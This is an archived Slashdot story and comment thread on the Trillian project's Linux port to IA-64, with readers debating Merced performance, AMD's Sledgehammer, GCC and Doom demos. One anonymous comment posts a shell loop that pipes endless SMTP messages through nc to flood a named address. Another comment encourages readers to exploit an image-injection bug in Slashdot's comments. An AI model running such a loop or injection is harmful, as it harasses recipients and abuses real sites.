Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
×
Linux Software

Trillian Project Release Linux for IA-64 158

Smack writes "The Trillian developer's release of the Linux port to Intel's new IA-64 architecture was made available yesterday on kernel.org. Q & A from the press conference are also available in PDF format. " At the keynote done this morning at LWCE, some of the engineers demonstrated the code - very, very cool. The examples were running Doom as well as an excellent rendering of a skull.
This discussion has been archived. No new comments can be posted.

Trillian Project Release Linux for IA-64

Comments Filter:
  • by Anonymous Coward
    All indications are that compared to the 0.18 um Alpha 21264 (EV68), the 0.18 um Merced will be underwhelming on performance, costly to manufacture, and run very hot.

    The EV6 core has very similar computational resources to Merced but is an out-of-order execution design while Merced is an in-order execution design (like the Alpha EV5). Clock for clock the EV6 will on *average* outperform Merced slightly on integer code and possibly FP code too but much depends on the quality of the compilers and if run-time profiling driven compilation is performed. IA-64 is a great way to quickly run a program on the same data a second time which may give it some amzing individual benchmark score although it won't show it on user apps as much and its performance will be all over the map.

    That was clock for clock. In similar 0.18 um processess the EV68 will reach well in excess of 1 GHz while the Merced clock target is apparently 750 to 800 MHz (which Intel is having difficulty reaching). Again in 0.18 um, the EV68 will burn from 60 to 80 Watts while Merced will be well over 100 Watts and possibly more than 140 Watts. No wonder Linux developers lucky enough to have a proto Merced system complained of the fan noise!

    Oh yes, the Alpha EV68 will come in at about half the die size and pin count of the Merced and will use industry standard synch SRAMs and DDR SRAMs for its L2 while the Merced uses custom Intel memories like Pentium Pro and Xeon. Even given Intel's potentially much larger volumes, the Alpha should be a distinctly cheaper (and faster and cooler) part.
  • by Anonymous Coward

    Actually, Intel said exactly this about the i386, i486, i586, and i686 when they were first released. They weren't supposed to appear on the average desktop until a year afterwards, if ever. The most amazing thing is that people continue to believe it,

    My best guess is that Intel makes it their policy to make this claim about any new processor, so that in case it tanks they will not lose public credibility. They can respond to pointed questions regarding low sales with "the workstation market has lower volumes than the PC market; this is normal".

    -- Guges --

  • by Anonymous Coward
    Well, I bet that GCC uses each and every one of the IA-64's copious registers. Its not like this is the first time GCC has been ported to a platform that isn't as register starved as IA32. On the other hand, many tasks that drectly effect performance such as code parelellization has been moved from the chip to the compiler. I suspect that GCC (and most other current compilers) aren't quite up to these tasks in its current state. GCC and friends will probably generate subomptimal code for IA64 right now, but as it becomes the platform of choice I'm sure GCC improvments will show us the true power of the IA64 architecture -Bodnar42, karma whoring as anonymous coward
  • by Anonymous Coward
    Well if you want Digital(compaq)'s opinion check out:
    http://www.digital.com/hpc/ref/ref_ systems.html [digital.com] But i guess we can wait until real benchmarks start showing up. but BEWARE the the basic design of ia64 allows for some INSANE optimization if you know what the program is going to do b4hand(ie in a standard benchmark). Pretty good for most scientific computing, but could create obsene benchmark numbers.
  • by Anonymous Coward

    Putting aside the question of whether or not the IA64 architecture was designed well, there is a small matter of its going to have to compete against AMD's Sledgehammer processor. Admittedly, Sledgehammer is currently vaporware, but the idea behind it -- of incrementally extending IA32 to 64-bit and optimizing the processor for IA32 code execution performance -- will be a direct test of IA64's viability. If most people are willing to replace their OS and applications with IA64-specific apps, and find it sufficient to be able to run IA32 applications a bit more slowly than thay would on an IA32-specific processor, then McKinley will compete well against Sledgehammer. If, on the other hand, people mostly want to keep running IA32 applications as quickly as possible, Sledgehammer will steal the x86-compatible 64-bit show.

    -- Guges --

  • by Anonymous Coward
    Using an IA-64 code morphing GPL emulator we could open source the DeCSS injunction thereby removing Darwin from the picture.
    However, if Crusoe were to be using a Minolta 3D JFS from IBM we could see the whole thing at Linuxworld Live.
    I Know what you are thinking, the evil Diablo II from Redmond, aka Ballmer, will cause Loki to
    commercialize AOL. But I think in this Case, Bugs Bunny already wrote enough obfuscated C code to do this with his new "How to write Java" book. If it weren't for the ball lightening we would have Playstations replacing our PC's with Even Day processors - very efficient using the NISCMU chip (no intstruction set code morphing utility).

    I think however that if we were to use a pure Andover/VA computer this would further increase the Judges ire and allow for DVD playback.
    It is a good thing Slashdot has released their code and has given up the right to privacy - with all these ninja wannabees lurking we have only CERT to thank for warning us. The whole thing is a consumer nightmare.
    Did anyone else get aroused while looking at Bill?

    I find you lack of faith disturbing- Lord Vader - before open sourcing the Death Star -

  • by Anonymous Coward

    so Linus and Alan could look at it and asses how they go about

    I spent ten minutes trying to figure out what you were saying about Linus's and Alan's asses. Gay Linux coder porn? Wonderful. Oh, he means "assess"! I get it now.

    Isn't it surprizing how badly I spell ?

    Actually, yes.

  • by Anonymous Coward
    + * TASK_SIZE really is a mis-named. It really is the maximum user
    + * space address (plus one). On ia-64, there are five regions of 2TB
    + * each (assuming 8KB page size), for a total of 8TB of user virtual
    + * address space.

    Hehe.. With 16 or 64 k page mode (supported by IA64) Linux IA64 will support more virtual memory then Windows 2000 supports partition size!
  • For everyone wondering about the performance of the Merced, consider that they were demoing Doom. Software-rendered Quake on a P-166 looked as good as Doom ever did, so why demo Doom? Is it because not all libraries needed for Quake are available on Trillian (but they are for Doom), or is it because the Merced is just as bad as I think it is?
  • I have three apple II's just waiting. One to control a model railroad (and maybe my brewing equipment), one for the kids to learn low-level stuff with, and one for spare parts.

    I would rather have Word 4.0 or 5.1, with excel 3.0 or 5.0, on my old Powerbook 180 (68030@33, 14/80 mb) than modern hardware with anything MS has put out since.
    My 486/50 thinkpad with linux & lyx flatly outperforms any windows- or mac-based word processor on modern equipment, save for wrapping text around objects (which is a latex problem) and when running latex/ghostview for rendering (but I do that on bigger machines). And I don't have to worry about it getting stolen.
    My Tandy 102 isbetter for simple note-taking (text only) than anything built since--though a PDA with a chording keyboard integrated intothe case would beat it hands down on the same criteria it beats a modern laptop).
    On the other hand, for my number crunching research, I'll take the latest, fastest, machine with a Fortran 90 compiler, right until I can get my paws on something faster with Fortran 2000. And to render text, speed is good.

    There are places for upgrades. There are also places where sticking with a dinosaur is a better bet.

    Now that I have a light background and can spawn new instances with my . key over a link, I have litte need for a browser other than lynx--all netscape was doing for me was spawning the extras . . . and this is much leaner.

    btw, the advantages of the 8080 over the 8008 were pretty obvious. Save for the construction article in issue 1 of Byte (build your own external stack for your 8008 with 30 chips), virtually noone who had any choice stuck with the 8008--which wasn't really used much for general computing, anyway.
  • We -can- do this! Just get the port merged into the 2.3.x tree! We -can- have Linux running on the IA64 =BEFORE= Windows 2000.

    (In fact, if they went into the tree NOW, we'd have Linux running on the IA64 before the IA64 or Windows 2000 was released!)

    Hey! That'd be cool! Hardware manufacturers playing catch-up to Linux!

  • Comment removed based on user account deletion
  • Comment removed based on user account deletion
  • Comment removed based on user account deletion
  • The 286, 386DX, 486DX, Pentium, and Pentium Pro were all initially meant for "servers" and "workstations" rather than the desktop. Virtually every new Intel processor is introduced at the high end with an initially high price.
  • So, Crusoe is just vaporware too, then?


  • You said:

    "I'd rather settle for continuing to be able to run my existing software."

    I have to whack my head TWICE when I read that, because I have heard something like that back in the days people were running CP/M on Zilog chips, on 8008, and others were running TRS-80 from Radio Shack.

    At that time, some people said "Why should I use the 8080 chip? Why should I try the Apple? What I have here is enough for me, I have invested too much for what I have here."

    Guess what? See how many people are still using the TRS-80 or running the old CP/M?

  • If the IA-64 can run x86 code then it'll be worth an upgrade.

    As for those people who thought I was on to a dead end, you're probably right. But my system is a PII-233, with 32Mb Ram. At this point it's only just behind the eight-ball as it is.

    While I think about it, why aren't processors flashable? My SoundCard's firmware can be upgraded without opening the case. When do we get CPUs that can do this? I do realise that most processors upgrades fiddle with the transistor count, but if someone works out a way to do something better, why should me make pieces of silicon obsolete?

    I realise this comes close to interrupting the revenue streams for the chip makers, but surely a chip like that could be sold for quite a nice package...

    Disclaimers: I'm a software developer. I make no representation about that idea being possible. These ideas were written immediately I thought them up. The haven't been passed through a sane mind.

  • Actually, in many ways it's *MORE* braindead than segmented memory was in protected mode.
  • Jaguar, Genesis, win16/x86...

    --

  • Correct, the systems weren't compatible.

    The only 'upgrade' I remember was the DEC Rainbow, which had both a Z-80 and a 8086, and could run both versions of CP/M (and possibly MS-DOS).
    --
  • Certainly not if Intel prices IA64 like DEC/Compaq prices the Alpha.

    If, on the other hand, IA64 systems are within 30% of the cost of IA32 systems, IA64 could catch on.
    --
  • For most 8080/Z80 CP/M users, the 8088 IBM PC or a machine running CP/M-86 was a way that they could run their existing software, only faster.

    All of the major CP/M-80 packages (WordStar, VisiCalc, etc) were ported to the 8086 almost immediately. Plus, new, supposedly better software like WordPerfect and Lotus 123 was coming out only for the 8086. Plus the IBM PC had other niceities like a standard disk format and color graphics.

    (People hit the maximum sheet size in Visicalc on 64K 8080 machines pretty quickly. Even with 512K or 640K, people also were bumping against Lotus's maximum sheet size early on. Lotus finally had to drive a specification for expanded memory to solve the problem. In short, the user applications were driving the upgrades in those days, not the games or the server stuff.)
    --
  • See, if there was no LZW compression algorithm, the above wouldn't have happened!

    ___________________
  • by Evro ( 18923 )
    I think all the img src= blah blah blah posts got moderated down to -5 by some magical force. set the threshold to -9999 in the url.
    ___________________
  • Hmmm and if they know, are they allowed to say, or does the DMCA prevent them from sharing that knowledge? :)
  • >Once again the ungrateful 15 year old long haired Linux zealots ...

    Ungrateful for what exactly? Oh and by the way not everybody who posts to slashdot is 15, or has long hair.

    >Linux is doomed to failure unless it gets its marketing together.

    Define failure.
    Not everyone define failure as "small market share" or as "not making huge profits." Some people define success as "making a great (not necessarilly popular) OS" or just "having fun", marketing will have no effect on these, and so Linux can succed without you. Sorry to break it to you like that.

    >for most if not all people the fundamental issue is support.

    No. For most if not all people the issue is ease of use. If a piece of software is easy to use and does what you want from it then what else do you really need? My parents use an old apple Mac that has not been supported for years, they don't care because it has an easy to use word processor.

    >my advice is seldom wrong...
    >How likely is it that you have anything important to add to my posting ?

    Just a touch arrogant there don't you think...
    Its amazing that a self declared "well respected and highly regarded expert in the science of Marketing" is so bad at marketing himself and his ideas.

    Its very gracious of you to lower yourself to giving us the benefit of your expert advice but please go away and come back when you have something usefull to say.

    The short haired 24yr old professional engineer, bil.
  • Sigh...

    No we don't need a soul to have intelligence. The reason we don't have intelligent computers is that intelligence is hard to create. It took evolution 2 billion years to slouch out human intelligence.

    We just don't have the hardware resources yet, and we won't for a while. A human brains has billions (not sure of the exact order of magnitude, but I know that's the right ballpark) of neurons and trillions of synapses. A large neural net model in an 'intelligent' system that does something fairly difficult might be in the thousands or tens of thousands. We are four or five orders of magnitude from the type of hardware we would need to emulate the human brain, also you have to have more precision than we currently use in (most) artifical neurons. Even with Moores law (while it holds) that's 25 years or so to achieve the kind of computing power we need. Additionally it has to be organized right, which is another whole area of challenge.

    Evolution has the advantage of massively parallel processes to get everything right over long periods of time. So it will probably take us fallible humans a while longer to get it right.
  • They fixed it (corrected the regexps and stripped all img from the comments).

  • This has put Linux ahead of Macrosloth. They don't have much for IA 64, so the Linux community must act. The distributions, especially, should work on recompiling, etc... on the IA 64 achitecture as soon as possible.
  • They didn't do it. One of the ACs sneaked a tag in the comment to force a popup. Note how it would only come up on THIS story?
  • I assume GCC can already produce IA64 binaries (what good is kernel source if you can't compile it?). When was that project completed? Do the binaries take advantage of all the new registers?
  • 3.0 will be called "Random" but, only after a major code merge with the Hurd
  • I for one am very happy to see this code released. By releasing it there will be time for a lot of eyes to look at it and for refinments to be made. Linux will be helped in the long term by being ported to this chip.

    I want as much choice in the Linux world as possible. The more processors the better in my book.

    It is true that there are only so many developers, but choice will cause the better systems to get more work done on them and thus improve.

    One of the big differences between linux and M$ winXXXX is that we can move faster as this release shows.

    Noel

    RootPrompt.org -- Nothing but Unix [rootprompt.org]

  • by akawaka ( 46926 )
    Hmmm....64-bit Super processor?

    I can play Doom on my 386:)
  • We're already seeing Linux steal mindshare from Microsoft in the Windows2000 vs. 2.4 kernel arena, but running on Intel's next generation CPU is where Linux will pull ahead of Windows. The very fact that Linux is ready for and working on IA-64 now goes a long way to impress corporate planners, all of whom currently think of 64-bit Windows as vaporware.
  • What's that dream system's specs now ?

    How about Linux-2.4 - IBM S/390 Mainframe <grin>

  • Half of everything you said did not make sense.
    The reason that Merced is less clock speed than Alpha is because it has some obscene number of pipelines. Thats the whole concept of EPIC. Second, the EV6s already hit over 100 watts, so it doesn't really matter if merced does. And I seriously doubt Merced is in order. It is a very parallel processor and no one is stupid enough to make it in-order. Merced is made for some very high end, very specific stuff. Take matrix transformations. Such processes are VERY parallel, and benifet much more from the extra pipes than the extra 100-200 MHz. And matrix transforms are heavily used in 3D, so I guess that Merced might be the ultimate 3D rendering machine.
  • Unreal Tournament's Linux binaries are subpar currently, and there isn't a Half-life Linux port, as far as I know...

    What's your problem with id software? They've consistently fought, at their own time and expense, for open standards and alternative platforms, which is more than anyone can say for either Valve or Epic.

    ...besides, the current substandard 3D graphics support in Linux (compared to Windows) is not something I'd probably want to be showcasing if I was running the tech demo.
  • Why is it they're playing Doom and Quake on the Crusoe and the Trillian debuts? If they're wanting to show the oomph of the processor, I'd think they would be playing more modern, say, Unreal Tournament, or maybe Half Life. (unless of course ID is paying them for the advertisement, in which case, they better have one helluva good game in the works... and I don't mean Quake 3!!!)
  • I will not be impressed until I see the GCC patches - showing how well they have been able to optimize for the IA64; and until I see some benchmarks. The fact that Intel has had silicon for a while but no benchmarks so my knowledge tells me to suspect that it is not actually that fast.

    Intel has had plenty of disasters in the past (the X87 stach architecture, the 16-bit segments, the 432 CPU).

    AMD's web page has a good critique of IA64 that definitely puts the seeds of doubt in my mind see http://www.amd.com/products/cpg/mpf/pres99/micropf orum.html
  • I think you miss the Achilles heel of Linux. As I see it, Linux will not be a viable 'main stream' OS until it is simple enough for the end user. You elude to this fact in your post.

    I'm a coder, and have been using Linux for years. However, I shudder to think of installing a Linux system for my mom or grandmother to use, as it is too complex as it stands right now. The potential success for Linux is that ANYONE may change it. The advantage I view M$ having at the moment is a polished, 'idiot level' interface. Linux is on the way with this, but not their yet. As for marketing, I think the common disdain is due to the 'hyping.'

    You stated in your post that it is your job as a marketing person is to emphasize technical points. I've found that this emphasis has led to an almost glossing over effect on the downsides of some products that create havoc with the end user (I'm thinking of particular examples of WindRiver's marketing with VxWorks...).

    As for your contention that the primary /. reader or Linux user is a 15 year old long haired geek... um, you're just plain wrong, but I venture you, as the ubermarketer, already know that, as you spend money finding out who to direct your marketing efforts towards. But if you want to maintain that sterotype, hey, I'll gladly maintain the sterotype tha marketing people are useless, techno-idiots who just waste valuable resources and are basically full of bullsh&t.
  • well i know
    "who control the past control the future, who controls the present controls the past"
    is by George Orwell 1984, quite an amazing book
    but
    "He who control the past control the future, He who controls the present controls the past"
    (note the added "he") is by Kane in Red Alert

    my $0.02 (not that it maters though)

    ..........sig...........
  • Wow, a non-geek posting at Slashdot. No matter how provoking this posting is, I'd moderate it up. And you surely know how to market yourself.. I didn't particularly like that "how likely is it that you have anything important to add to my posting"? Btw, if you want to know what I look like, I'm a 20-aged short-haired student in The Netherlands. So what.
    I agree that marketing isn't that bad. Marketing is essential in commercial software business. The point is that Linux is not commercial. Linux World Domination is an illusion. The idea is, that people will get less dependent on commercial software houses. No wonder that the marketing business doesn't like Linux ;)
    I think it's something in between. Marketing tries to say the best things about a product, and to hide the nasty details. Many press releases are worthless, so are ads. Marketing isn't essential to knowledge, it tries to convince you by subjectivity. Slashdot is so cool because of all the different opinions here, not because of yours only. Consumers need a choice. They surely need Windows too, and Linux surely needs marketing to get more support. Even Linux has a "market". The cool thing about Linux is, that Linux' market IS its marketing.
  • Good point,
    As the years have passed chips get cheaper to make.
    But still I don't think we will see this one en masse on the desktop.
  • *snicker*

    The Merced is a workstation class chip. It is designed primarily to go into next generation HP/SGI/... you name it workstations. It is just too big/hot/expensive to buy on a "aint it cool" factor (unless you got in on the LNUX IPO that is )

    It's heat disapation gaurantees that it will need a large enclosure. Although it will be cheaper than many of today's workstation level CPU's, this is not a chip that everyone will have in the office.

    At the workstation level the economics of computing is different. The computer costs so much that the cost of new software is cheap in comarision.

    Compare this to Transmeta's chip which is designed to be small and low temp.
  • Cool! Did you write it in Elisp?
  • And once again Doom goes where no game has gone before ;-)

    Just how many platforms has Doom been ported to by now? Can anyone complete or correct this list:

    DOS/x86
    Win32/x86
    Mac/68x
    Mac/PPC
    Linux/x86
    Linux/IA64
    OS/2/x86
    Irix/MIPS
    Be/x86
    NeXT/68x
    WinCE
    Playstation
    N64
    SNES (sic)
    Atari 2600 (j/k ;-))
    Saturn?
    *BSD?
    Solaris?

    We won't have to worry about Doom going the Ultima 7 way...
  • Sledgehammer will almost certainly fail, for several reasons. The main issue is software availability. There are currently six major operating systems native to Merced, while there are none for Sledgehammer. There have been no plans announced to produce an operating system for Sledgehammer. Second, not many vendors are supporting it. Merced is embraced by most of the major computer companies, both from PC companies and from enterprise server companies. Third, Merced is supposed to launch this year (and they do have real systems running real silicon, so there is some believability in this). They say 2001 for Sledgehammer, but I have serious doubts that they will come that close. They certainly do not have silicon yet. (They appear to have not even started the project until 1999, and the minimum time for a flagship CPU is about four years).
  • Um... sledgehammer will run all x86 stuff natively. Instant software base.

    Yeah, but so will Merced (and so will future Intel IA-32 processors). The only competitive advantage of Sledgehammer is that it will have the new "64 bit extensions" - but if no software uses that, that's no an advantage - just bloat.

    Now you could argue that Sledgehammer will be faster for IA-32 than Merced will be. However, it will certainly not be as fast for 64 bit as future IA-64 proliferations will be because there are so many limitations to that architecture (number of registers, for example). I also doubt that it will be as fast as Intel's fastest IA-32 implementation at the time, since the 64 bit support will necessarily slow the processor down. It will also be bigger and hotter than a vanilla IA-32 implementation.

    If Sledgehammer is AMD's only post-K7 microarchitecture in the works (and I do not know if it is), they do not have a bright outlook. I do not see how Sledgehammer could succeed either at the 64 bit market, or the 32 bit market, just on technical terms, let alone on marketing terms. I actually thought it was something of a joke when I first heard about it, and am surprised that it actually appears to be a product.

  • No actualy that quote is from George Orwell in 1984 ...
  • Nice to know that Linux did it first before Windows.
  • It will be interesting to see how Sledgehammer does. I remember looking at Intel's roadmaps literally years ago, and listening to their pr which positioned Merced and it's successors as being server oriented and not for the desktop. Will Intel try to move it to the desktop faster now that AMD has given them stiff competition in the IA32 market? Anyone know when we will see Merced/McKinley/IA64 in desktop machines?
  • Yes, but this processor does not run existing aplications faster, like all the other examples you gave. Only new apps written for IA64 will run faster. Merced/McKinley won't have immediate appeal to the public, because after spending an extra $1000 or so to get this hot new chip, it won't run anything faster.
  • What about Slartibartfast? Would have been a cooler name than Trillian ;)
  • dude all he has to do is a "view source" it is pretty damn flamin obvious. hehehe
  • crap, i guess all the zealots will have to stop making fun of the name. Wow, Trillian is a *great* name!
  • I didn't say true "AI", actually I believe AI like that supposed by science fiction is truly impossible to achieve. Probably the reason being is that their is more to our intelligence and existence than a mere physical body and brain full of millions of firing neurons. In other words, true intelligence is a state of existence not a physical animate object that "thinks". Our existence or are self awareness is even deeper than what some would regard as our soul. I agree that this all sounds very meta-physical but what I am trying to explain is that our existence as a being who is self aware of "self" has always been. You cannot "create" a self aware entity, they are already there. You can however, empower one, and that is what we are. We are beings who have in our possesion and control a "soul" (spirit) and a physical body.

    On a different topic, what I meant is that we will be able to build machines that can think much more quickly and efficiently. Something along the lines of "DEEP BLUE". Technically they are no more intelligient or smarter just simply faster so they give the appearance that they are smarter. Just some food for thought.


    Nathaniel P. Wilkerson
    NPS Internet Solutions, LLC
    www.npsis.com [npsis.com]
  • Ok, granted compatibility and continuity are important but with the current x86 archictecture your on a dead end.

    The new games that will become available with the new 64 bit processors will completey blow away anything you have now in speed and realism. Trust me you will eat those words. Its like complaining that you won't upgrade because you still want to play pong on your atari but then you realize that if you do a whole new world of games come to life such as Pacman, etc...

    The computing capabilities of a 64 bit and 128 bit processor are such a vast improvement over the current processors, that we will see a major change in software produced for these machines. Bells and whistles like speech recognition will become commonplace and software approaching true "AI" will begin to show up on shelves as well.

    You can keep you Pentium if you wish, but mine is going to be sitting up on my mantle piece as a sort of souvenir of how far we have come...


    Nathaniel P. Wilkerson
    NPS Internet Solutions, LLC
    www.npsis.com [npsis.com]
  • Maybe you've noticed all the images popping up on slashdot lately. Well, it's an easy bug to exploit, I've tested it on a hidden thread (and on my user page, it's nice to have a picture).

    Actually, I haven't noticed the images. Not on your home page or private thread wither. Care to explain?

    Anomalous: inconsistent with or deviating from what is usual, normal, or expected
  • "Prefect" sounds too close to "perfect" -- no way intel holds themself to THAT standard.

    Actually, they couldn't use "Prefect" because it's to close to the standard they DO hold - "Defect".



    ----------------------------
  • It may look cool, but its just vaporware until the IA-64 chips hit the streets, and you can run the demos for yourself.

    Wow. A coherent first post :)

  • Looks like standard 2.3.x source with an arch/ia64 added.
  • by Anonymous Coward
    but I'm not paying a trillian dollars for a 64 bit chip. I'll stick to 32 bit chips, thank you very much.

    thank you.
  • by Anonymous Coward
    (while :; do (sleep 1; echo HELO insertdomainnamehere.com; sleep 5; echo 'MAIL FROM:<insertemail@addresshere.com>'; sleep 2; echo 'RCPT TO:<flamemaster@linuxone.net>'; sleep 2; echo DATA; sleep 3; echo Subject: FlameOftheWeek; echo; lynx -dump http://www-csag.cs.uiuc.edu/individual/pakin/compl aint?firstname=LinuxOne\&pgraphs=3\&sex= c; echo .; sleep 5; echo QUIT) | nc -v your.mailserver.com 25; done)

    (Hope this survives Slashdot previewing)
  • There are a lot of really cool DOOM projects out there. People have really taken the source and run with it in recent times. The GLDoom project was really neat until the maintainer had a serious accident that killed all the source (which was, IMHO, the reason Carmack decided to GPL the Doom source, so something like that wouldn't happen again).

    You should really check out some of the projects (ZDoom is my current favorite). It's amazing how well the original gameplay has held up. There's still nothing as scary as the Cyberdemon coming after you. :)
  • Hi, I'm pb, and this is an Offtopic post. But it's important, so don't moderate it, or keep it around 2, okay, guys?

    Maybe you've noticed all the images popping up on slashdot lately. Well, it's an easy bug to exploit, I've tested it on a hidden thread (and on my user page, it's nice to have a picture).

    Well, the long and the short of it is, security through obscurity is no excuse. I encourage you to do something about this, either by moderating UP that anonymous coward who first showed it to us with his funny Bill Gates post, or by posting a harmless image, or by contacting the staff running Slashdot, or by downloading the recently released Slash code, and checking if it's similar enough to be patched for this. Because if slashdot is vulnerable, the hole will have to be patched both on here, *and* on every site that uses their code.

    Thank you.


    Also, on the topic at hand: cool. It's always good to have Linux on a new processor, especially early. Of course, we knew this was going to happen, they've been working under NDA for a while, and I trust Linus. Also, people will probably still be waiting for the Monterey, and analyzing how Intel will do with its competition from both AMD and Transmeta now. Anyhow, the next few years should be very interesting.
    ---
    pb Reply or e-mail; don't vaguely moderate [152.7.41.11].
  • In spite of someone who got his first moderation points and thinks that the history of similar advances is offtopic . . .

    You could continue with the same software on that transaction, but you had to buy it again forthe new architecture. It was easy forthe publisher to recompile (the 8086 was designed with thisin mind; it was meant as a transition chip ratherthan the future), but the binaries weren't compatible. I don't remember anyone having an "upgrade," either.

    The concernstoday have largely been thatthe old binaries won'trun (ok, the windows side concerns:)
  • For one thing they promised to release Linux for IA64 on the day the chip ships. titanium isn't even out yet and these goys are shipping code. Frankly I think it's upsetting.

    What ever happened to code delays, late shipping and all those other things we have come to expect from software producers ?

    Actually I think this was probably just tossed out so Linus and Alan could look at it and asses how they go about merging all that code *before* 2.4.0 hits the road.

    What's that dream system's specs now ?

    Linux-2.4 - XF86-4.0 - KDE-2.0 - 4way-SMP-Itanium

  • Is it because not all libraries needed for Quake are available on Trillian (but they are for Doom), or is it because the Merced is just as bad as I think it is?

    I would guess it's because many idiots would attempt to compare IA-64 software rendered Quake to IA-32 Quake with a 3D accelerator. Since software rendering often isn't even an option with more modern games, it's hard to use more modern games to demo processor performance since what you'll get is video card performance instead. Certainly a lot of people would look at it and go "Hey, my Pentium II runs Quake better than that!" missing the point that the IA-64 was actually doing the work while their Pentium II wasn't.

    --

  • Trillian is the Linux Port Project and Itanium is the Processor Formerly Known As Merced

    I can't comment on win32 vs. win64.

    --Joe
    --
  • of participants: HP, CERN, IBM, Intel, et al.

    ...and tonight, Mr. Kite will challenge the world

    Agent 88
  • (Physical Address Extensions) to access up to
    8Gb (>32 bits) at least on the $3,300 "Advanced Server"

    Sounds like segmented addresses all over again.

    Agent 64
  • Good; they aren't posts, they're exploits. Low-impact exploits, but exploits just the same.

    Nuke the post, bitch-slap the user to -5 karma, and if he does it a second time change his password to a 32-character random string so he can't ever use his old handle again.
  • Nope. Haven't noticed a single one of them.

    Try reading at a rational moderation level, such as "2".

  • > "Prefect" sounds too close to "perfect"
    > -- no way intel holds themself to THAT standard.

    Actually, the argument against 'Perfect' is stark proof that the Intel marketing teams have (amazingly) finally mastered the concept of succession -- "What would we call the processor after 'Perfect'? ...Pluperfect? ...Buckaroo Banzai?"

    Let's not forget the red faces at Intel the day after the name 'Pentium' got out, and everyone was asking if the '686' would be Hexium or Sexium.
  • What ever happened to code delays, late shipping and all those other things we have come to expect from software producers ?

    I have always wondered about this. What the Free Software movement has done is amazing. With the free software (As in beer) there are no code delays, late shipping and other MS tatics we have grown use to.

    Linux, *BSD's and other notable Free Software have changed that. I think the computer world is moving back to a "Put Up or Shutup" World. Just look back over the last few years and see what has changed. Has a large (Or any) company tried and succeed with a vaporware or overhype tatic? MS is trying with Win2000, but people are bulking. What about Win98? Same thing happened. Win98 came out, and everyone was doing the "I'll see" thing.

    Now with companies like MS seeing their reign over the computer industary demishing, alot of hardware companies are now doing what they want. Intel wants to sell chips. It does not care their chips are running Linux, BSD, BeOS or MS. They just want to move thier product out the door. Now, a few years ago, Intel could have never did with the Pentuim and PII line what they are doing with the IA64. Supporting another OS that underminds MS market.

    So where is my rambling going? Well, here is how I see it, "code delays, late shipping and all those other things we have come to expect from software producers" are going to deminish greatly.

    Why? Simple. With Free Software putting pressure on software makers, software companies are going to start putting their software where they mouths are, since there are free alternitives out there. Why would you risk YOUR job or YOUR business on a promise of another company? Waiting for MS to add some feature into IIS might cost you time, money, or worse, business. Apache with Mod_Perl will deliever more for less money.

  • Not to detract from the effort to port to Itanium (it had to have been non-trivial), but I'm curious how much prior effort from the various ports to SPARC, Alpha, and MIPS R4000 (all 64-bit processors) helped pave the way for the port to Itanium. I'm also curious just who will get the coveted Itanium development systems (the thousands and then the tens of thousands) promised to Linux developers, and what the fine print will say about how those systems will be used.
  • Someone has to point this out:
    Theoretically, you *can* run your software on IA-64... it's supposed to be fully backward compatible with IA-32, or so says the press release Q&A. I don't know how well this will work in practice (especially it depends, in your case, on how well MS does with Windows for IA-64... but then, there's always wine), but it shouldn't be a problem.


    Supreme Lord High Commander of the Interstellar Task Force for the Eradication of Stupidity
  • You missed it, there was some kind of a bug in the slash code and people were posting images. Some girl was sucking a cock... it was a gif, I said he made a strong case for "Burn all gifs". Then all the pictures were removed, the bug fixed, and my post was left dangling, looking very stupid.
    ___________________
  • Actually these posts are apparently censored some way. Even if you look for them at -1 they're not visible. Note, I don't necessarily say that /. is not within their rights to censor them, just that that's what's happening.
  • Just FYI, Linux 2.3 (the soon-to-be 2.4) also uses PAE if you configure it, allowing you to access up to 64 gigs of RAM. So it isn't some kind of klunky Microsoft extension, it's a klunky Intel one.

  • Because they're demonstrating that stuff is actually running on silicon proper - otherwise it's just be showing off some other manufacturers 3D hardware.

  • by / ( 33804 )
    [I]titanium isn't even out yet and these goys are shipping code.

    You know, with names like John Crawford, Don Alpert, and Hans Mulder, Jerry Huck, Bill Worley, and Rajiv Gupta, maybe they are all goys. :)
  • 1. GLDoom is OpenSource, so you o-s fanatics will not give them shit over it.

    2. GLDoom has already been ported to 64-bit CPU platforms--my other computer is an SGI O2; it comes with GLDoom. SGI is also writing the C-compiler and other core parts of Linux/IA-64. You figure it out...

    What X Windows Server were they using at the demo? Was is a port of real OpenGL, or recompiled XFree86-3.3.x? Or XFree86-4.0beta + Mesa?

    What Graphics card?

    (guess I should read the article)
  • And what's wrong with calling the next processor "Eccentrica Galumbits, the triple breasted whore."?
  • It may look cool, but its just vaporware until the IA-64 chips hit the streets, and you can run the demos for yourself.

    I only thought that this was trade secreted or some such. Where can you get the demo? Are there any chips that are somewheat using IA-64?
  • It seems that the people who have replied to this post (and maybe the poster him-/herself as well) are confusing the names of the CPU, called Itanium , and the project porting Linux to it, called Trillian .
  • That's why Intel is so willing to work with the Linux guys--Linux users will be the ones receiving the greatest benefit from Itanium--they can just recompile their software and--voila--it's optimized for IA64! Meanwhile, Windows users have to wait until all their software vendors do it for them--they have no motivation to move to Itanium if they gain no performance benefit (IA32 code runs slower on Itanium than on a fast PIII). Who do you think is going to be Intel's initial market?
  • Oh, thats funny. I saw the large fonts etc on some other posts and figured it was related to the CERT advisory from yesterday. Pretty much thought it would only be a matter of time befor someone did it here. Got to admit though, they put a little thought into it. Hopefully they had their fun and will now go away and bother some other site.

    Never knock on Death's door:

  • by osu-neko ( 2604 ) on Thursday February 03, 2000 @01:44PM (#1307321)
    I don't know if any code from any of those ports was used directly, but I suspect they contributed indirectly a great deal. Before Alpha and SPARC64, I suspect there was quite a bit of Linux code that just didn't handle 64-bit processors well. After these ports were made, all that code had to be cleaned up. Once that's done, porting to <I>any</I> 64 bit architecture is much easier. So I suspect the main contribution of those ports was (to paraphrase an old Mac term) to make Linux 64-bit clean.

    --

  • by Guy Harris ( 3803 ) <guy@alum.mit.edu> on Thursday February 03, 2000 @04:34PM (#1307322)
    From linux-2.3.35/include/asm-ia64/ptrace.h it's obvious that IA64 has 31 general purpose regs and 31 general FPU regs!

    And it's obvious from this page from a document that's been out for quite a while [hp.com] that it has 128 general-purpose regs and 128 floating-point regs, although it uses a register window scheme so you may have to shuffle windows to get at more than the 32 global registers and the 32 registers in the current window (at least for the general registers).

    Documentation for the user-mode side of IA-64 has been available for a while; take your choice of Intel's PDF version [intel.com], HP's PDF version [hp.com], or HP's HTML version [hp.com].

